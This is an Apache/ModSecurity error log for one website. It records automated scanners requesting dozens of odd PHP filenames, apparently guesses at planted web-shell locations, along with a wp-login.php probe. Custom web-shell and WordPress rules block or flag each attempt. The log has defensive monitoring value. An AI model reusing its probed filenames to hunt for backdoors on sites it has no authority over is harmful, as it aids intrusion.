[Thu Mar 26 16:53:32.296198 2026] [:error] [pid 19712:tid 19776] [client 4.232.84.11:65195] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acT0DNWhKhRNqm23vFMRFgAAAIA"]
[Thu Mar 26 16:53:33.089778 2026] [:error] [pid 19712:tid 19796] [client 4.232.84.11:64277] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acT0DdWhKhRNqm23vFMRGAAAAJQ"]
[Thu Mar 26 16:53:33.565765 2026] [:error] [pid 31670:tid 31681] [client 4.232.84.11:65428] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acT0DTXVthXxCnWjOTRJngAAAUk"]
[Thu Mar 26 16:53:34.145810 2026] [:error] [pid 31670:tid 31689] [client 4.232.84.11:65134] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "acT0DjXVthXxCnWjOTRJogAAAVE"]
[Thu Mar 26 16:53:34.665903 2026] [:error] [pid 19712:tid 19786] [client 4.232.84.11:64846] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "acT0DtWhKhRNqm23vFMRHAAAAIo"]
[Thu Mar 26 16:53:35.373698 2026] [:error] [pid 31717:tid 31727] [client 4.232.84.11:65362] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "acT0D7-SCF7YDISDX4_P4QAAAYU"]
[Thu Mar 26 16:53:36.109157 2026] [:error] [pid 31670:tid 31680] [client 4.232.84.11:65098] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "acT0EDXVthXxCnWjOTRJpgAAAUg"]
[Thu Mar 26 16:53:36.632824 2026] [:error] [pid 19710:tid 19725] [client 4.232.84.11:64847] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "acT0EAVEWP8Ar68Njk7woQAAAAM"]
[Thu Mar 26 16:53:37.190467 2026] [:error] [pid 31670:tid 31691] [client 4.232.84.11:65177] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acT0ETXVthXxCnWjOTRJpwAAAVM"]
[Thu Mar 26 16:53:37.715405 2026] [:error] [pid 31670:tid 31689] [client 4.232.84.11:64660] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acT0ETXVthXxCnWjOTRJqwAAAVE"]
[Thu Mar 26 16:53:38.241941 2026] [:error] [pid 19818:tid 19832] [client 4.232.84.11:64696] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acT0EszaSnm3d1BeM5XMMgAAAMw"]
[Thu Mar 26 16:53:38.990157 2026] [:error] [pid 60829:tid 60834] [client 4.232.84.11:65391] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "acT0EvTdjHKeZokybaSk3wAAAQM"]
[Thu Mar 26 16:53:39.516286 2026] [:error] [pid 19818:tid 19821] [client 4.232.84.11:64913] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acT0E8zaSnm3d1BeM5XMPAAAAME"]
[Thu Mar 26 16:53:40.094952 2026] [:error] [pid 31780:tid 31832] [client 4.232.84.11:64884] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acT0FJJDwZsy5O4ZXEh2lAAAAgs"]
[Thu Mar 26 16:53:40.594832 2026] [:error] [pid 31780:tid 31824] [client 4.232.84.11:65455] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acT0FJJDwZsy5O4ZXEh2lQAAAgQ"]
[Thu Mar 26 16:53:41.253882 2026] [:error] [pid 31670:tid 31686] [client 4.232.84.11:64287] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acT0FTXVthXxCnWjOTRJtAAAAU4"]
[Thu Mar 26 16:53:41.719906 2026] [:error] [pid 31780:tid 31827] [client 4.232.84.11:65106] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acT0FZJDwZsy5O4ZXEh2mQAAAgc"]
[Thu Mar 26 16:53:42.207833 2026] [:error] [pid 31780:tid 31839] [client 4.232.84.11:64917] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acT0FpJDwZsy5O4ZXEh2nAAAAhI"]
[Thu Mar 26 16:53:42.679273 2026] [:error] [pid 31780:tid 31843] [client 4.232.84.11:65417] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acT0FpJDwZsy5O4ZXEh2nQAAAhY"]
[Thu Mar 26 16:53:43.148051 2026] [:error] [pid 31717:tid 31723] [client 4.232.84.11:65176] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "acT0F7-SCF7YDISDX4_P5gAAAYE"]
[Thu Mar 26 16:53:43.663925 2026] [:error] [pid 31670:tid 31683] [client 4.232.84.11:65198] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acT0FzXVthXxCnWjOTRJuQAAAUs"]
[Thu Mar 26 16:53:44.234526 2026] [:error] [pid 19711:tid 19750] [client 4.232.84.11:65110] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acT0GGj3l1y81GYfluSD1gAAAEE"]
[Thu Mar 26 16:53:44.761797 2026] [:error] [pid 19818:tid 19837] [client 4.232.84.11:65412] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acT0GMzaSnm3d1BeM5XMQwAAANE"]
[Thu Mar 26 16:53:45.635720 2026] [:error] [pid 31717:tid 31746] [client 4.232.84.11:64947] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "acT0Gb-SCF7YDISDX4_P6AAAAZg"]
[Thu Mar 26 16:53:46.225247 2026] [:error] [pid 19712:tid 19790] [client 4.232.84.11:64951] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "acT0GtWhKhRNqm23vFMRJQAAAI4"]
[Thu Mar 26 16:53:46.738890 2026] [:error] [pid 31778:tid 31797] [client 4.232.84.11:64848] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "acT0Gg3kybI2o-xasmDfrAAAAcQ"]
[Thu Mar 26 16:53:47.494407 2026] [:error] [pid 31778:tid 31794] [client 4.232.84.11:65456] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "acT0Gw3kybI2o-xasmDfrQAAAcE"]
[Thu Mar 26 16:53:48.165803 2026] [:error] [pid 31780:tid 31825] [client 4.232.84.11:65140] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "acT0HJJDwZsy5O4ZXEh2pgAAAgU"]
[Thu Mar 26 16:53:48.721580 2026] [:error] [pid 31717:tid 31737] [client 4.232.84.11:65115] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "acT0HL-SCF7YDISDX4_P6gAAAY8"]
[Thu Mar 26 16:53:49.301775 2026] [:error] [pid 31717:tid 31727] [client 4.232.84.11:64943] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "acT0Hb-SCF7YDISDX4_P7QAAAYU"]
[Thu Mar 26 16:53:50.162931 2026] [:error] [pid 19818:tid 19832] [client 4.232.84.11:64048] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "acT0HszaSnm3d1BeM5XMUAAAAMw"]
[Thu Mar 26 16:53:50.701390 2026] [:error] [pid 19818:tid 19829] [client 4.232.84.11:64833] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "acT0HszaSnm3d1BeM5XMUgAAAMk"]
[Thu Mar 26 16:53:51.278087 2026] [:error] [pid 19710:tid 19739] [client 4.232.84.11:65451] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "acT0HwVEWP8Ar68Njk7wpgAAABE"]
[Thu Mar 26 16:53:51.801330 2026] [:error] [pid 31778:tid 31793] [client 4.232.84.11:64935] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "acT0Hw3kybI2o-xasmDfsgAAAcA"]
[Thu Mar 26 16:53:53.164878 2026] [:error] [pid 19711:tid 19769] [client 4.232.84.11:64002] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "acT0IWj3l1y81GYfluSD2QAAAFQ"]
[Thu Mar 26 16:53:53.799692 2026] [:error] [pid 19712:tid 19776] [client 4.232.84.11:65181] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "acT0IdWhKhRNqm23vFMRKwAAAIA"]
[Thu Mar 26 16:53:54.446055 2026] [:error] [pid 31670:tid 31684] [client 4.232.84.11:64834] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filer.php"] [unique_id "acT0IjXVthXxCnWjOTRJxAAAAUw"]
[Thu Mar 26 16:53:54.981421 2026] [:error] [pid 31670:tid 31692] [client 4.232.84.11:65145] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filer.php"] [unique_id "acT0IjXVthXxCnWjOTRJyAAAAVQ"]
[Thu Mar 26 16:53:55.728146 2026] [:error] [pid 31670:tid 31681] [client 4.232.84.11:64690] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filer.php"] [unique_id "acT0IzXVthXxCnWjOTRJzQAAAUk"]
[Thu Mar 26 16:53:56.512534 2026] [:error] [pid 31670:tid 31675] [client 4.232.84.11:64657] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filer.php"] [unique_id "acT0JDXVthXxCnWjOTRJ0AAAAUM"]
[Thu Mar 26 16:53:57.065146 2026] [:error] [pid 31780:tid 31825] [client 4.232.84.11:64851] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lites.php"] [unique_id "acT0JZJDwZsy5O4ZXEh2tgAAAgU"]
[Thu Mar 26 16:53:57.842155 2026] [:error] [pid 31780:tid 31823] [client 4.232.84.11:65436] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lites.php"] [unique_id "acT0JZJDwZsy5O4ZXEh2uAAAAgM"]
[Thu Mar 26 16:53:58.650515 2026] [:error] [pid 31670:tid 31687] [client 4.232.84.11:65355] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lites.php"] [unique_id "acT0JjXVthXxCnWjOTRJ1wAAAU8"]
[Thu Mar 26 16:53:59.163287 2026] [:error] [pid 31778:tid 31795] [client 4.232.84.11:64912] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lites.php"] [unique_id "acT0Jw3kybI2o-xasmDfuAAAAcI"]
[Thu Mar 26 16:53:59.698164 2026] [:error] [pid 19711:tid 19760] [client 4.232.84.11:64701] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "acT0J2j3l1y81GYfluSD4AAAAEs"]
[Thu Mar 26 16:54:00.214285 2026] [:error] [pid 19818:tid 19839] [client 4.232.84.11:65103] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "acT0KMzaSnm3d1BeM5XMWgAAANM"]
[Thu Mar 26 16:54:00.685394 2026] [:error] [pid 19818:tid 19842] [client 4.232.84.11:65203] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "acT0KMzaSnm3d1BeM5XMXwAAANY"]
[Thu Mar 26 16:54:01.190993 2026] [:error] [pid 19818:tid 19828] [client 4.232.84.11:65377] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "acT0KczaSnm3d1BeM5XMYgAAAMg"]
[Thu Mar 26 16:54:01.713492 2026] [:error] [pid 19818:tid 19823] [client 4.232.84.11:65383] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "acT0KczaSnm3d1BeM5XMZQAAAMM"]
[Thu Mar 26 16:54:02.186362 2026] [:error] [pid 31670:tid 31692] [client 4.232.84.11:64608] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "acT0KjXVthXxCnWjOTRJ3QAAAVQ"]
[Thu Mar 26 16:54:02.695694 2026] [:error] [pid 19818:tid 19829] [client 4.232.84.11:64886] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "acT0KszaSnm3d1BeM5XMaQAAAMk"]
[Thu Mar 26 16:54:41.339917 2026] [proxy_fcgi:error] [pid 31778:tid 31811] [client 4.232.84.11:65094] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:54:41.602501 2026] [proxy_fcgi:error] [pid 31778:tid 31812] [client 4.232.84.11:65094] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:54:41.872658 2026] [proxy_fcgi:error] [pid 31778:tid 31803] [client 4.232.84.11:65094] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:54:42.141452 2026] [proxy_fcgi:error] [pid 31778:tid 31808] [client 4.232.84.11:65094] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 20:52:48.011997 2026] [proxy_fcgi:error] [pid 19818:tid 19821] [client 4.206.17.96:30983] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 20:52:48.436444 2026] [:error] [pid 19818:tid 19827] [client 4.206.17.96:30983] [client 4.206.17.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.206.17.96, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acUsIMzaSnm3d1BeM5UsMgAAAMc"]
[Thu Mar 26 20:52:48.649353 2026] [proxy_fcgi:error] [pid 19818:tid 19843] [client 4.206.17.96:30983] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 20:52:49.498778 2026] [proxy_fcgi:error] [pid 19818:tid 19838] [client 4.206.17.96:30983] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 20:52:51.453311 2026] [proxy_fcgi:error] [pid 19818:tid 19841] [client 4.206.17.96:30983] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 20:52:51.658578 2026] [:error] [pid 19818:tid 19828] [client 4.206.17.96:30983] [client 4.206.17.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acUsI8zaSnm3d1BeM5UsQAAAAMg"]
[Thu Mar 26 20:52:52.523197 2026] [:error] [pid 31670:tid 31683] [client 4.206.17.96:30992] [client 4.206.17.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acUsJDXVthXxCnWjOTTEcgAAAUs"]
